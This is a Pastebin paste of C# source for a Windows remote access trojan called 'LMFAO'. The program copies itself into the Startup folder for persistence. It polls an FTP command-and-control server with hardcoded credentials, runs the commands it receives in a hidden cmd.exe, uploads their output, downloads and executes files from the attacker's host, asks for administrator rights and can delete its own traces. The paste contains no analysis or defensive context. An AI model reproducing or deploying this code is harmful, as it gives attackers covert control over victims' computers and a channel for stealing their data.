Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Windows.Forms;
- using System.IO;
- using System.Net;
- using System.Threading;
- using System.Diagnostics;
- using System.Security.Principal;
- using System.Reflection;
- namespace LMFAO
- {
- static class Program
- {
- public static string ftpUsername = "1884973";
- public static string ftpPassword = "1472580a";
- public static string id = generateId().ToString();
- public static bool start = false;
- public static string host = "filezprox.atwebpages.com";
- static void killTheCat()
- {
- runCmd("del *.txt");
- runCmd("del" + Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\start.bat");
- }
- static void startup()
- {
- try
- {
- if (!start)
- {
- if (!File.Exists("id.txt"))
- {
- File.WriteAllText("id.txt", id);
- }
- if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\start.bat"))
- {
- File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\start.bat", "START " + Assembly.GetEntryAssembly().Location);
- }
- id = File.ReadAllText("id.txt");
- if (IsAdministrator())
- {
- File.WriteAllText("output.txt", "Elevation successful");
- sendOutput();
- }
- clearCmd(id);
- }
- }
- catch
- {
- }
- }
- /// <summary>
- /// The main entry point for the application.
- /// </summary>
- [STAThread]
- public static void Main()
- {
- startup();
- long auth = 24893408877439348;
- auth.ToString();
- bool kill = false;
- while (!kill)
- {
- try
- {
- getMail(ftpUsername, ftpPassword, id);
- }
- catch
- {
- }
- string[] lines = File.ReadAllLines("cmd.txt");
- try
- {
- switch (lines[0])
- {
- case "cmd":
- runCmd(lines[1]);
- clearCmd(id);
- sendOutput();
- break;
- case "kill":
- kill = true;
- clearCmd(id);
- break;
- case "ruthere":
- handshake();
- clearCmd(id);
- break;
- case "ktc":
- clearCmd(id);
- sendToMaster("bye!");
- killTheCat();
- kill = true;
- break;
- case "ps":
- File.WriteAllText("output.txt", "Not available yet.");
- sendOutput();
- clearCmd(id);
- break;
- case "download":
- using (var client = new WebClient())
- {
- try
- {
- client.DownloadFile(lines[1], lines[2]);
- }
- catch (Exception ex)
- {
- File.WriteAllText("output.txt", ex.Message);
- sendOutput();
- }
- }
- clearCmd(id);
- break;
- case "update":
- updateProgram("http://" + host + "/LMFAO/LMFAO.exe");
- clearCmd(id);
- kill = true;
- break;
- case "elevate":
- getAdmin();
- kill = true;
- clearCmd(id);
- break;
- case "msg":
- MessageBox.Show(lines[1]);
- clearCmd(id);
- break;
- default:
- if (File.Exists("output.txt"))
- {
- sendOutput();
- File.Delete("output.txt");
- }
- break;
- }
- }
- catch (IndexOutOfRangeException)
- {
- }
- Thread.Sleep(1000);
- }
- }
- static int generateId()
- {
- Random rnd = new Random(Guid.NewGuid().GetHashCode());
- return rnd.Next(100000, 1000000);
- }
- static bool IsAdministrator()
- {
- WindowsIdentity identity = WindowsIdentity.GetCurrent();
- WindowsPrincipal principal = new WindowsPrincipal(identity);
- return principal.IsInRole(WindowsBuiltInRole.Administrator);
- }
- static void getAdmin()
- {
- var exeName = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
- ProcessStartInfo startInfo = new ProcessStartInfo(exeName);
- startInfo.Verb = "runas";
- Process.Start(startInfo);
- return;
- }
- static void updateProgram(string url)
- {
- string fileid = generateId().ToString();
- using (var client = new WebClient())
- {
- try
- {
- client.DownloadFile(url, fileid + ".exe");
- }
- catch
- {
- }
- }
- Process.Start(fileid + ".exe");
- }
- static void sendOutput()
- {
- WebClient client = new WebClient();
- client.Credentials = new NetworkCredential(ftpUsername, ftpPassword);
- try
- {
- FileStream fs = new FileStream("cmd.txt", FileMode.Create);
- fs.Flush();
- fs.Close();
- client.UploadFile("ftp://" + host + "/LMFAO/" + id + ".output.txt", "output.txt");
- }
- catch (IOException)
- {
- }
- }
- static void handshake()
- {
- WebClient client = new WebClient();
- client.Credentials = new NetworkCredential(ftpUsername, ftpPassword);
- try
- {
- File.WriteAllText("output.txt", "Yes !");
- client.UploadFile("ftp://" + host + "/LMFAO/" + id + ".output.txt", "cmd.txt");
- }
- catch (IOException)
- {
- }
- }
- static void sendToMaster(string msg)
- {
- File.WriteAllText("msg.txt", msg);
- WebClient client = new WebClient();
- client.Credentials = new NetworkCredential(ftpUsername, ftpPassword);
- try
- {
- FileStream fs = new FileStream("cmd.txt", FileMode.Create);
- fs.Flush();
- fs.Close();
- client.UploadFile("ftp://" + host + "/LMFAO/" + id + ".output.txt", "msg.txt");
- }
- catch (IOException)
- {
- }
- }
- static void clearCmd(string id)
- {
- WebClient client = new WebClient();
- client.Credentials = new NetworkCredential(ftpUsername, ftpPassword);
- try
- {
- FileStream fs = new FileStream("cmd.txt", FileMode.Create);
- fs.Flush();
- fs.Close();
- client.UploadFile("ftp://" + host + "/LMFAO/" + id + ".cmd.txt", "cmd.txt");
- }
- catch (IOException)
- {
- }
- }
- public static void getMail(string ftpUsername, string ftpPassword, string id)
- {
- try
- {
- WebClient client = new WebClient();
- client.Credentials = new NetworkCredential(ftpUsername, ftpPassword);
- client.DownloadFile("ftp://" + host + "/LMFAO/" + id + ".cmd.txt", "cmd.txt");
- }
- catch
- {
- }
- }
- public static void runCmd(string command)
- {
- File.WriteAllText("output.txt", "");
- Process process = new Process();
- ProcessStartInfo startInfo = new ProcessStartInfo();
- startInfo.WindowStyle = ProcessWindowStyle.Hidden;
- startInfo.FileName = "cmd.exe";
- startInfo.Arguments = "/C " + command;
- process.StartInfo = startInfo;
- process.Start();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement